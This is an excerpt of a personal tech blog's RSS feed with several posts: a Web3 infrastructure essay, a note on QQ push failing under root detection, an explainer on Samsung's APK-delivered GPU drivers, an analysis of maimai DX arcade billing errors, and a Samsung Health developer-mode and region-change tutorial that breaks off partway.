&lt;p&gt;If we cut the perspective back to pure &lt;strong&gt;infrastructure architecture&lt;/strong&gt;, in 2026 this heterogeneous network stitched together from countless state machines, consensus algorithms and cross-chain bridges has a very cyberpunk true face&lt;/p&gt;
&lt;p&gt;People used to fantasise that eventually there would be one great unified perfect public chain (the so-called Ethereum killer, the ultimate Layer1 and similar) to unify the whole world. But by now we&apos;ve long recognised reality: &lt;strong&gt;that kind of perfect unification — the same gauge for carts and the same script for writing, Qin Shi Huang style — does not exist&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Today&apos;s Web3 is a super global railway network in which all kinds of project teams and capital each build their own private railways, then forcibly stitch them together with countless transfer stations and unified standards&lt;/p&gt;
&lt;h2&gt;1. Layer 1&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Layer1&lt;/strong&gt; is more or less the main chain. These are the lowest and thickest tracks, but the work they do now is completely different&lt;/p&gt;
&lt;h3&gt;1.1 Ethereum&lt;/h3&gt;
&lt;p&gt;Nowadays hardly any ordinary person plays directly on the Ethereum mainnet. Its block space is too expensive — it&apos;s like Fedwire, the very bottom layer of the global financial system.&lt;/p&gt;
&lt;p&gt;What runs on it now is mainly &lt;strong&gt;Wall Street&apos;s RWA&lt;/strong&gt; (tokenised treasuries), &lt;strong&gt;the state proofs of the major Layer 2s&lt;/strong&gt;, and &lt;strong&gt;institutional-grade DeFi settlement worth hundreds of millions of dollars&lt;/strong&gt;. It is slow and expensive, but it is the security bedrock of the whole network, an armoured bulletproof train&lt;/p&gt;
&lt;h3&gt;1.2 Tron&lt;/h3&gt;
&lt;p&gt;Nobody talks about lofty technological revolutions on Tron; its technology is even a little dated. But it is extremely rugged and extremely cheap. It is packed with stablecoins like USDT&lt;/p&gt;
&lt;p&gt;Tron shuttles back and forth every day mainly between bosses in Latin America, Africa and Southeast Asia. &lt;strong&gt;It is the lifeline of the entire Web3 with the largest freight volume and the most down-to-earth presence&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;1.3 Solana&lt;/h3&gt;
&lt;p&gt;This is the maglev of the railway network. It is extremely fast, monolithic in architecture, and does not support layering. On it are all the retail traders doing high-frequency trading, the Memecoin meat grinder, and the tiny payment instructions automatically issued by AI Agents.&lt;/p&gt;
&lt;p&gt;Although there&apos;s still the occasional small malfunction, engineers have hammered it to the limit with technologies such as Firedancer (an independent validator client), satisfying humanity&apos;s greed for instant feedback&lt;/p&gt;
&lt;h2&gt;Layer 2 / Layer 3&lt;/h2&gt;
&lt;p&gt;In that November 2025 blog, I said I wanted to &lt;strong&gt;build railways&lt;/strong&gt;, but at this point there are already more than enough railways, and serious problems of capacity oversupply and mismatched gauges have appeared&lt;/p&gt;
&lt;p&gt;From 2024 to 2025, Web3 went through a great leap forward of reinventing wheels. Thanks to technology stacks like Rollup (OP Stack, ZK Stack), &lt;strong&gt;the cost of launching a chain dropped to just a few minutes&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The result: everyone went off to build Layer 2s (Arbitrum, Optimism, Base, Blast, Mantle... it&apos;s like reciting a menu). Every fund and every major exchange wants to build its own private railway&lt;/p&gt;
&lt;p&gt;This caused extremely severe &lt;strong&gt;liquidity fragmentation&lt;/strong&gt;. Your USDT is on chain A, and you want to go to chain B to buy something — it&apos;s like taking a train from Russia to China: because the gauges don&apos;t match, you have to get off at the border, unload the goods, and load them into a different kind of carriage (that&apos;s a cross-chain bridge)&lt;/p&gt;
&lt;p&gt;The current situation is that more railways have been built than there are passengers, and the various private railways fight each other for passengers. This is the overcapacity of shovel-selling and railway-building&lt;/p&gt;
&lt;h2&gt;3. The Real Engineering Breakthrough: Chain Abstraction&lt;/h2&gt;
&lt;p&gt;Faced with hundreds of private railways that don&apos;t connect to each other, we didn&apos;t forcibly tear up the tracks; instead we made an extremely pragmatic architectural upgrade: building a global routing layer on top of all the private railways. &lt;strong&gt;That is chain abstraction&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In the past, users had to configure RPC nodes, buy gas coins for different chains, find cross-chain bridges themselves, and bear the risk of funds being hijacked by hackers along the way&lt;/li&gt;
&lt;li&gt;Now you only need a smart wallet. Behind the wallet, &lt;strong&gt;Solver networks&lt;/strong&gt; and &lt;strong&gt;cross-chain messaging protocols (such as LayerZero, CCIP)&lt;/strong&gt; automatically plan the route for you within a second, advance all kinds of miscellaneous gas, and complete the cross-chain swap&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Users have no idea which underlying private railways they crossed, and don&apos;t need to care whether it&apos;s broad gauge or narrow gauge; they just pay the money and the goods are delivered. &lt;strong&gt;The underlying private railways are completely abstracted away&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is the ultimate goal of chain abstraction: &lt;strong&gt;users only need to know what they want to do, not which chain to do it on. The chain becomes infrastructure that is transparent to the user&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I think this is a key step for web3 to reach the masses&lt;/p&gt;
&lt;h2&gt;4. Account Abstraction ERC-4337 Goes Mainstream&lt;/h2&gt;
&lt;p&gt;Remember how, back in the day, setting up a Web3 wallet meant writing down 12 completely illogical mnemonic words? Lose them and you&apos;re bankrupt — utterly against human nature&lt;/p&gt;
&lt;p&gt;Now we have smart wallets: we use Passkey technology directly, and can create a wallet with just a Google or Apple ID&lt;/p&gt;
&lt;p&gt;In the past, buying something required specific ETH / SOL. Now you can hand over whatever stablecoin you like, or the app developer will pay the gas for you directly to attract customers&lt;/p&gt;
&lt;h2&gt;5. Conclusion&lt;/h2&gt;
&lt;p&gt;If you look now at that &lt;em&gt;1840 wasteland&lt;/em&gt; I mentioned, you&apos;ll notice a very interesting phenomenon:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Nowadays there are fewer people who talk about Web3 and decentralisation all day long&lt;/strong&gt;
Because this technology has finally &lt;strong&gt;sunk down&lt;/strong&gt;, like TCP/IP&lt;/p&gt;
&lt;p&gt;This pieced-together global railway network is still imperfect; cross-chain bridges occasionally still get blown up by hackers the way Zhang Zuolin was (although the stolen amounts are dropping sharply), and some garbage private railways carry nothing but scammer express trains&lt;/p&gt;
&lt;p&gt;But for those of us who write code, this thing has finally reached the stage where &lt;strong&gt;its APIs can be called smoothly&lt;/strong&gt;. Whether it&apos;s tokenising US Treasuries, letting cross-border e-commerce settle foreign exchange in seconds, or renting computing power in the cloud and paying for it, this cryptography-based global state machine is already ready, and is ingesting and emitting packets around the clock without rest&lt;/p&gt;
&lt;p&gt;We no longer need to explain to the public what a blockchain is, just as we don&apos;t need to explain to the lady selling vegetables what HTTP is. The railways are built, the scheduling system runs; what comes next is quietly watching this system erode the territory of traditional finance and cross-border data flows. That is the meaning of web3&apos;s existence in 2026&lt;/p&gt;
</content:encoded><category>Web3</category><author>Chongxi</author></item><item><title>QQ&apos;s MiPush Push Service Detects Root</title><link>https://xice.cx/en/posts/mipushQQ/</link><guid isPermaLink="true">https://xice.cx/en/posts/mipushQQ/</guid><description>QQ not pushing over MiPush because it detects root? Here&apos;s the solution.</description><pubDate>Sun, 08 Mar 2026 11:21:11 GMT</pubDate><content:encoded>&lt;p&gt;Pretty absurd — before this I&apos;d never considered that root was the problem&lt;/p&gt;
&lt;p&gt;First, I configured the mipush service correctly, QQ registered normally, and I used a device-model module to disguise QQ as a Xiaomi device. Push worked at first, then it suddenly stopped; deleting the mipush config file in /data/data QQ and re-registering didn&apos;t help either&lt;/p&gt;
&lt;p&gt;This afternoon I happened to open momo and only then discovered that my shamiko had been turned off, with a big 「已发现su」 slapped right in my face. After turning shamiko back on and rebooting, QQ&apos;s mipush push worked again. Too mysterious — I wonder if anyone has run into the same situation&lt;/p&gt;
&lt;p&gt;Why do I say only QQ detects root and stops pushing? Because apps like Xianyu can push normally, and I didn&apos;t even fake a Xiaomi model for them. QQ&apos;s detection really is...&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./1.webp&quot; alt=&quot;momo-root-Detection&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./2.webp&quot; alt=&quot;mipush-screenshot&quot; /&gt;&lt;/p&gt;
</content:encoded><category>Android</category><category>软件</category><category>安全</category><author>Chongxi</author></item><item><title>Samsung&apos;s Extreme Software Modularization: The Graphics Driver Is Actually an APK</title><link>https://xice.cx/en/posts/samGPUdriverApk/</link><guid isPermaLink="true">https://xice.cx/en/posts/samGPUdriverApk/</guid><description>Why can Samsung&apos;s GPU driver be updated from the app store? The technical logic behind the Samsung Game Driver module</description><pubDate>Sun, 01 Mar 2026 10:31:11 GMT</pubDate><content:encoded>&lt;h2&gt;0. Introduction&lt;/h2&gt;
&lt;p&gt;Samsung users who play a lot of mobile games have probably heard the advice, while tweaking performance, to &lt;strong&gt;go update the graphics driver from the app store&lt;/strong&gt;. At first glance that&apos;s absurd — why would something like a driver be updated from an app store? And then you look and it really is an APK. Feels like an amateur-hour operation, doesn&apos;t it? This article rewinds the timeline to 2020 and, starting from the Galaxy S20, walks you through Samsung&apos;s mysterious &lt;strong&gt;graphics driver APK-ification&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;1. Why the Galaxy S20?&lt;/h2&gt;
&lt;p&gt;The Galaxy S20 series launched in 2020 was an important watershed for the Android camp. That&apos;s thanks to three underlying technologies coming together at the right moment&lt;/p&gt;
&lt;p&gt;First, on the &lt;strong&gt;hardware&lt;/strong&gt; side: with the Snapdragon 865 announced in late 2019, Qualcomm declared support for &lt;strong&gt;updatable GPU drivers&lt;/strong&gt; for the first time. The S20 was among the first flagships to carry the Snapdragon 865&lt;/p&gt;
&lt;p&gt;Second, on the software side: Google introduced &lt;strong&gt;Project Mainline&lt;/strong&gt; in Android 10, whose core purpose was &lt;strong&gt;modularizing system components and allowing core components to be updated through the app store&lt;/strong&gt;. And Samsung, as Android&apos;s big brother, followed suit right away&lt;/p&gt;
&lt;p&gt;By the end of 2020, Samsung actually listed a standalone APK app called &lt;strong&gt;Samsung Game Driver&lt;/strong&gt; on the Google Play Store and its own Galaxy Store, marking the formal arrival of the GPU driver as an app&lt;/p&gt;
&lt;h2&gt;2. The mysterious dual versions&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./1.webp&quot; alt=&quot;a-screenshot-of-Samsung-GameDriver-Adreno-S20/N20&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If you look back at the listings from that year, you&apos;ll notice something interesting: Samsung released two versions of the APK. That&apos;s not hard to understand&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Samsung Game Driver - Adreno&lt;/strong&gt;, specifically for the S20/Note20 series with Snapdragon processors&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Samsung Game Driver - Mali&lt;/strong&gt;, specifically for the S20/Note20 series with Exynos processors&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This driver update wasn&apos;t about &lt;strong&gt;improving global performance&lt;/strong&gt;; it was &lt;strong&gt;highly targeted&lt;/strong&gt;. Samsung explicitly stated: this update optimized games such as Call of Duty: Mobile&lt;/p&gt;
&lt;p&gt;That is, if a hot new title suddenly launches with graphics glitches or negative optimization, Samsung doesn&apos;t need to do a system OTA — it just asks Qualcomm and other vendors to write a patch, packages it into a few-dozen-MB APK, ships it to the store, and once players update and re-enter the game, it&apos;s fixed&lt;/p&gt;
&lt;h2&gt;3. How can an APK become a low-level driver?&lt;/h2&gt;
&lt;p&gt;The core mechanism behind it is called &lt;strong&gt;Updatable Graphics Drivers&lt;/strong&gt;, which in the AOSP source mainly involves &lt;code&gt;frameworks/native/libs/graphicsenv&lt;/code&gt; and &lt;code&gt;frameworks/native/opengl/libs/EGL/Loader.cpp&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s go through it in four parts&lt;/p&gt;
&lt;h3&gt;3.1 Discovery mechanism&lt;/h3&gt;
&lt;p&gt;How does the system know this APK is a driver? You can&apos;t just install any APK and impersonate one&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Metadata declaration
The &lt;code&gt;Samsung Game Driver.apk&lt;/code&gt; Samsung publishes must contain specific &lt;code&gt;&amp;lt;meta-data&amp;gt;&lt;/code&gt; tags in its &lt;code&gt;AndroidManifest.xml&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;// example
    &amp;lt;meta-data android:name=&quot;android.graphics.driver.build_time&quot; value=&quot;Chongxi &amp;amp; CEPATO&quot; /&amp;gt;
    &amp;lt;meta-data android:name=&quot;com.android.graphics.driver.library&quot; value=&quot;libGLESv2_adreno.so&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;com.android.graphics.driver.library&lt;/code&gt; one is the key: it tells the system this is a genuine library&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Game Driver Service:&lt;br /&gt;
When the Android system boots, &lt;code&gt;GraphicsEnvironment&lt;/code&gt; scans all installed apps. It looks for apps whose package name matches the rule (such as &lt;code&gt;com.samsung.gamedriver.sm8250&lt;/code&gt;) and that carry the metadata above&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Once it finds one, it caches that APK&apos;s path (&lt;code&gt;/data/app/~~.../base.apk!/lib/arm64-v8a/&lt;/code&gt;) in the system service and marks it as an &lt;strong&gt;Available Driver Provider&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3.2 Injection&lt;/h3&gt;
&lt;p&gt;When you launch codm, right after the process is forked from Zygote, the graphics library loading goes like this:&lt;/p&gt;
&lt;p&gt;The game process first loads the system&apos;s &lt;code&gt;/system/lib64/libEGL.so&lt;/code&gt; and &lt;code&gt;/system/lib64/libvulkan.so&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;These are just Wrapper/Stubs&lt;/strong&gt;, full of empty functions or forwarding logic; the real driver hasn&apos;t loaded yet&lt;/p&gt;
&lt;p&gt;In the AOSP source&apos;s &lt;code&gt;Loader.cpp&lt;/code&gt; there&apos;s a key function, &lt;code&gt;Loader::openDriver&lt;/code&gt;. It issues a query to &lt;code&gt;GraphicsEnvironment&lt;/code&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Has this one called 血战孤儿院 been designated to use &apos;Game Driver&apos;?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If it is indeed enabled, the Linker &lt;strong&gt;creates an independent Native Namespace&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Normally the Linker looks for &lt;code&gt;libGLESv2_adreno.so&lt;/code&gt; in &lt;code&gt;/vendor/lib64/egl&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Now the system calls &lt;code&gt;android_create_namespace&lt;/code&gt; and forces &lt;code&gt;LD_LIBRARY_PATH&lt;/code&gt; to point at the &lt;strong&gt;extracted directory&lt;/strong&gt; &lt;code&gt;/data/app/...&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This means that inside this independent namespace, the game process thinks it&apos;s loading a system library, while the Linker is actually feeding it the &lt;code&gt;.so&lt;/code&gt; from inside the APK&lt;/p&gt;
&lt;h3&gt;3.3 Shaking hands&lt;/h3&gt;
&lt;p&gt;An APK can only update the user-mode side (UMD) — the OpenGL/Vulkan implementation libraries running in User Space. But the hardware runs in Kernel Space, that is, the kernel KMD&lt;/p&gt;
&lt;p&gt;On this phone&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;KMD:&lt;/strong&gt; the &lt;code&gt;kgsl&lt;/code&gt; module compiled into boot.img. The device node it exposes is usually &lt;code&gt;/dev/kgsl-3d0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UMD:&lt;/strong&gt; the handful of &lt;code&gt;.so&lt;/code&gt; files inside the APK&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;How do they communicate? &lt;strong&gt;IOCTL&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When you update the driver via the APK, the new UMD opens &lt;code&gt;/dev/kgsl-3d0&lt;/code&gt; and sends command streams to the kernel through the &lt;code&gt;ioctl&lt;/code&gt; system call&lt;/p&gt;
&lt;p&gt;:::warn
There&apos;s a big problem here: ABI stability
:::&lt;/p&gt;
&lt;p&gt;The new driver in the APK (UMD) must be backward compatible with the old kernel driver (KMD)&lt;br /&gt;
If Qualcomm uses a new &lt;code&gt;ioctl&lt;/code&gt; command in the new UMD but your kernel is three years old and doesn&apos;t recognize it at all, &lt;strong&gt;driver initialization will fail&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is why Samsung/Qualcomm can&apos;t push the latest driver APK to the S20 indefinitely. &lt;strong&gt;The UMD version in the APK must successfully shake hands with your kernel&apos;s KMD version before it can run&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3.4 SELinux&lt;/h3&gt;
&lt;p&gt;Android&apos;s SELinux is extremely strict. An ordinary app has no permission to load &lt;code&gt;.so&lt;/code&gt; files from another app&apos;s private directory&lt;/p&gt;
&lt;p&gt;To let this APK driver run, Google opened a whitelist in Android 10&apos;s SELinux policy&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Defined a new domain, &lt;code&gt;gamedriver_file&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Allowed &lt;code&gt;appdomain&lt;/code&gt; (ordinary app processes) to perform &lt;code&gt;map&lt;/code&gt; and &lt;code&gt;execute&lt;/code&gt; operations on files labeled &lt;code&gt;gamedriver_file&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So after that driver APK is installed, the system automatically tags its &lt;code&gt;.so&lt;/code&gt; files with a special SELinux label; otherwise the Linker would be hit with Permission Denied when loading them&lt;/p&gt;
&lt;p&gt;This is why the S20&apos;s modularization is textbook-level&lt;/p&gt;
&lt;p&gt;Without &lt;strong&gt;flashing, rooting or modifying system partitions&lt;/strong&gt;, it achieves hot-swapping of core rendering logic through &lt;strong&gt;Linker Namespace&lt;/strong&gt; and &lt;strong&gt;SELinux policy&lt;/strong&gt;. That was absolutely impossible before&lt;/p&gt;
&lt;h2&gt;4. How is it now?&lt;/h2&gt;
&lt;p&gt;Given how powerful this feature is, why do you rarely hear about people downloading &quot;graphics driver APKs&quot; all the time now?&lt;/p&gt;
&lt;p&gt;It hasn&apos;t disappeared; it&apos;s become more seamless and more modularized:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Google later folded many driver-level updates that used to require a separate APK download into the &quot;Google Play system update&quot; that quietly happens in the background&lt;/li&gt;
&lt;li&gt;Samsung later put more game scheduling and low-level adaptation strategies into another modular app that caused huge controversy, &lt;strong&gt;GOS&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;GOS is also an APK that can be hot-updated from the app store at any time; it can not only tune driver parameters but also control the CPU/GPU thermal throttling limits and frequencies&lt;/p&gt;
&lt;h2&gt;5. Summary&lt;/h2&gt;
&lt;p&gt;Samsung can be said to be the vendor that takes system software modularization to the extreme; its title as Android&apos;s big brother isn&apos;t for nothing. If you&apos;re interested, later I can also talk about what other interesting things there are in Samsung&apos;s One UI. This is Chongxi — see you next time&lt;/p&gt;
</content:encoded><category>Samsung</category><category>Android</category><category>软件</category><author>Chongxi</author></item><item><title>Cause Analysis and Solutions for maimai DX Errors 8103/8106 and 0949</title><link>https://xice.cx/en/posts/maiErr810603/</link><guid isPermaLink="true">https://xice.cx/en/posts/maiErr810603/</guid><description>maimai DX ALLNET system errors 8103/8106: problem analysis and solutions</description><pubDate>Fri, 27 Feb 2026 00:11:10 GMT</pubDate><content:encoded>&lt;p&gt;:::caution
Urgent notice: 0949 is caused by SEGA changing the bl server, which broke the machines. It&apos;s nationwide; every SEGA title that uses bl will die&lt;/p&gt;
&lt;p&gt;Updated 3/2, 4:30 p.m. This blog will keep updating on developments
:::&lt;/p&gt;
&lt;p&gt;:::tip
It&apos;s 9 p.m. now. Testing shows things are basically recovered. After you unplug the machine and restart it, check the net recharge records for refund information; if there is any, there&apos;s no problem
:::&lt;/p&gt;
&lt;h2&gt;0. Case provided by&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;That day the machine stayed on overnight until the maintenance shutdown; when it was powered on again at seven, it reported &lt;strong&gt;8106&lt;/strong&gt;. The 8103 happened right after finishing one round, because the den had been running 3x tickets nonstop&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;Many thanks to &lt;strong&gt;红咸&lt;/strong&gt; on QQ for providing the case&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./1.webp&quot; alt=&quot;Maimai-ALL.NET-Error-8103&amp;amp;8106&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;1. SEGA ALL.Net billing mechanism&lt;/h2&gt;
&lt;p&gt;SEGA presumably has a revenue statistics system. Player actions such as inserting coins make the machine generate a billing log&lt;/p&gt;
&lt;p&gt;To prevent arcade owners from running off and screwing over the company, this data isn&apos;t stored on an ordinary hard drive but written directly into the machine&apos;s encrypted area&lt;/p&gt;
&lt;p&gt;Because its storage space is limited, &lt;strong&gt;when the machine connects to the network or during scheduled maintenance, it reports the bill to ALL.Net. Only after the server confirms receipt does the machine clear the records in the dongle, freeing space for a new day&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;2. What 8106 and 8103 mean&lt;/h2&gt;
&lt;h3&gt;2.1 The 8106 warning&lt;/h3&gt;
&lt;p&gt;First, &lt;strong&gt;the system allows the warning to be manually turned on/off&lt;/strong&gt;. When storage reaches the configured threshold and the machine has the &lt;strong&gt;ALL.NET&lt;/strong&gt; warning enabled, it shows &lt;strong&gt;8106 ALL.Net system warning&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Why can it be turned off?&lt;br /&gt;
It&apos;s like the low-fuel warning light in a car: a mechanic can pull the bulb out through the backend, but that &lt;strong&gt;doesn&apos;t stop the fuel from running out&lt;/strong&gt;. It&apos;s essentially self-deception&lt;/p&gt;
&lt;h3&gt;2.2 8103 machine breakdown&lt;/h3&gt;
&lt;p&gt;When its storage is completely full or hits the limit threshold, the machine triggers &lt;strong&gt;8103 ALL.Net system error&lt;/strong&gt;&lt;br /&gt;
The thinking in Japan was probably: since we can&apos;t record new bills, to prevent revenue loss we must refuse all play requests. So the machine locks up, won&apos;t accept coins, and can&apos;t be played normally&lt;/p&gt;
&lt;h2&gt;3. Why are cases appearing now?&lt;/h2&gt;
&lt;p&gt;The Chinese server&apos;s 舞萌DX uses a semi-buyout mechanism and shouldn&apos;t need the same AA as the Japanese server, but &lt;strong&gt;SEGA&apos;s underlying game code never had this accounting logic stripped out&lt;/strong&gt; — it&apos;s still quietly keeping books. Why the case appeared this time, my personal guess is a server-side cause&lt;/p&gt;
&lt;p&gt;The recent server overhauls have all been patching up a pile of crap. When the operator adjusted the servers, it probably accidentally killed the relevant code logic, so the machine&apos;s bill uploads aren&apos;t processed / the server can&apos;t properly receive them or send the clear-configuration, and the billing data keeps piling up in storage and can&apos;t be cleared&lt;/p&gt;
&lt;h2&gt;4. Why the case came from a rhythm game den first, not a commercial arcade&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Why did you give a rhythm game den case first? What if the den secretly changed something? If commercial arcades have no cases so far, then it&apos;s fine&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;How to put it — an ordinary commercial arcade might take only a few hundred coins a day, so even if uploads fail for a few days it can still hold on. But machines with a time pass are different: players don&apos;t need to spend money for multiplier tickets, so they just hammer &lt;strong&gt;ALL&lt;/strong&gt; with 3x. On top of that, many rhythm game dens run 24h, which is inherently more pressure than an ordinary commercial arcade. That&apos;s why the rhythm game dens&apos; machines hit the wall of their physical limit first, and why we have today&apos;s case analysis&lt;/p&gt;
&lt;h2&gt;5. Solution&lt;/h2&gt;
&lt;p&gt;For 8106, you can turn off the all net warning in the net recharge records; 8103 has no fix&lt;/p&gt;
&lt;p&gt;:::caution
If the machines at your arcade show this problem, make sure the arcade staff provide photos of the machine at the time of the error and other information to after-sales support
:::&lt;/p&gt;
&lt;h2&gt;6. Current situation&lt;/h2&gt;
&lt;p&gt;If the higher-ups don&apos;t fix the server-side bill receiving/clearing mechanism, or push a patch to strip the useless code out of the machines, then as time goes on, even ordinary arcades with low coin volume will eventually fill up and blow up along with the rest&lt;/p&gt;
&lt;p&gt;While I&apos;m at it, a recommendation for a maimai server monitoring site: &lt;a href=&quot;https://mai.chongxi.us&quot;&gt;Is the Wahlap Server Dead? — Real-time maimai server status monitoring&lt;/a&gt;, and &lt;a href=&quot;https://mai.chongxi.us/history&quot;&gt;maimai server failure and maintenance records&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>maimai</category><category>网络</category><author>Chongxi</author></item><item><title>&lt;Illustrated Guide&gt; Enabling Developer Mode in China-region Samsung Health and Turning on Health Connect</title><link>https://xice.cx/en/posts/openDevOnSamsungHelathCN/</link><guid isPermaLink="true">https://xice.cx/en/posts/openDevOnSamsungHelathCN/</guid><description>Enabling developer mode on China-region Samsung Health: a complete guide to switching to the US region and enabling Health Connect.</description><pubDate>Wed, 25 Feb 2026 15:27:11 GMT</pubDate><content:encoded>&lt;h2&gt;0.1 Introduction&lt;/h2&gt;
&lt;p&gt;Samsung is arguably one of the phone makers with the strictest region locking; China-region Samsung devices have many features restricted, such as Samsung Health&apos;s Health Connect. Even if you grant Samsung Health read/write permission for Health Connect, China-region Samsung Health won&apos;t actively write to it. This article will walk you through, step by step, enabling developer mode in China-region Samsung Health and changing the region code to US to enable Health Connect&lt;/p&gt;
&lt;h3&gt;0.2 What is Health Connect&lt;/h3&gt;
&lt;p&gt;Health Connect is an Android health data sharing solution jointly launched by Google and Samsung, designed to let different fitness apps interconnect, delivering a seamless experience where you record in one place and it syncs across all platforms&lt;/p&gt;
&lt;h3&gt;0.3 Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Samsung Health app -
&lt;em&gt;At the time of testing, the version number was &lt;code&gt;6.30.7.004&lt;/code&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Health Connect app
&lt;em&gt;If your Android version is 14 or above, it&apos;s built into the system. Otherwise you need to download it from Google Play&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;1. Enabling developer mode&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Open the Samsung Health app, tap the home page menu, and enter settings&lt;/li&gt;
&lt;li&gt;Find &lt;strong&gt;关于三星健康&lt;/strong&gt; at the very bottom and tap &lt;strong&gt;版本号&lt;/strong&gt; repeatedly; the developer menu will then be activated&lt;/li&gt;
&lt;li&gt;Tap &lt;strong&gt;Developer Mode(Samsung Health Data SDK)&lt;/strong&gt; and tick the &lt;strong&gt;Developer Mode for Data Read&lt;/strong&gt; option to &lt;strong&gt;ON&lt;/strong&gt; (you&apos;re not done yet!!)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./2.webp&quot; alt=&quot;Samsung-dev-mode-On&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open any file manager and create a &lt;code&gt;SamsungHealth&lt;/code&gt; folder under the &lt;code&gt;/storage/emulated/0/Download/&lt;/code&gt; directory, then create the &lt;code&gt;FeatureManagerOn&lt;/code&gt;, &lt;code&gt;FeatureListOn&lt;/code&gt;, &lt;code&gt;CscManagerOn&lt;/code&gt; folders inside it. Once created, the directory looks like this:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;/storage/emulated/0/Download/
└── SamsungHealth/
    ├── FeatureListOn/
    ├── FeatureManagerOn/
    └── CscManagerOn/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::warn
Pay attention to the case of the folder names
:::&lt;/p&gt;
&lt;p&gt;Thanks to netizen &lt;strong&gt;kkkk&lt;/strong&gt; for the addition regarding the new version of Samsung Health&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./co.webp&quot; alt=&quot;chongxi-blog-Comment&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At this point developer mode and the related features are enabled. Go back to Samsung Health&apos;s about page; if it looks like the image below, you&apos;ve succeeded
&lt;img src=&quot;./1.webp&quot; alt=&quot;How-To-Open-Samsung-Health-Developer-Mode&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;2. Changing the Samsung Health region&lt;/h2&gt;
&lt;p&gt;:::warn
Every following step must be carried out strictly according to the tutorial
:::&lt;/p&gt;
&lt;p&gt;Go back to the about page and tap &lt;strong&gt;Set Feature&lt;/strong&gt; to enter the developer feature menu&lt;/p&gt;
&lt;h3&gt;2.1 Changing CSC &amp;amp; MCC&lt;/h3&gt;
&lt;p&gt;Open the &lt;strong&gt;Common&lt;/strong&gt; option, change &lt;strong&gt;CSC Country Code&lt;/strong&gt; to &lt;code&gt;US&lt;/code&gt;, then find &lt;strong&gt;MCC Configuration&lt;/strong&gt; below it and change it to &lt;code&gt;310(US)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./3.webp&quot; alt=&quot;CSC &amp;amp; MCC&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2.2 Changing the HA server&lt;/h3&gt;
&lt;p&gt;Tap the &lt;strong&gt;Analytics&lt;/strong&gt; option and change &lt;strong&gt;[HA] Server&lt;/strong&gt; to &lt;code&gt;DEV&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./4.webp&quot; alt=&quot;HA&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2.3 Enabling DataPlatform developer mode&lt;/h3&gt;
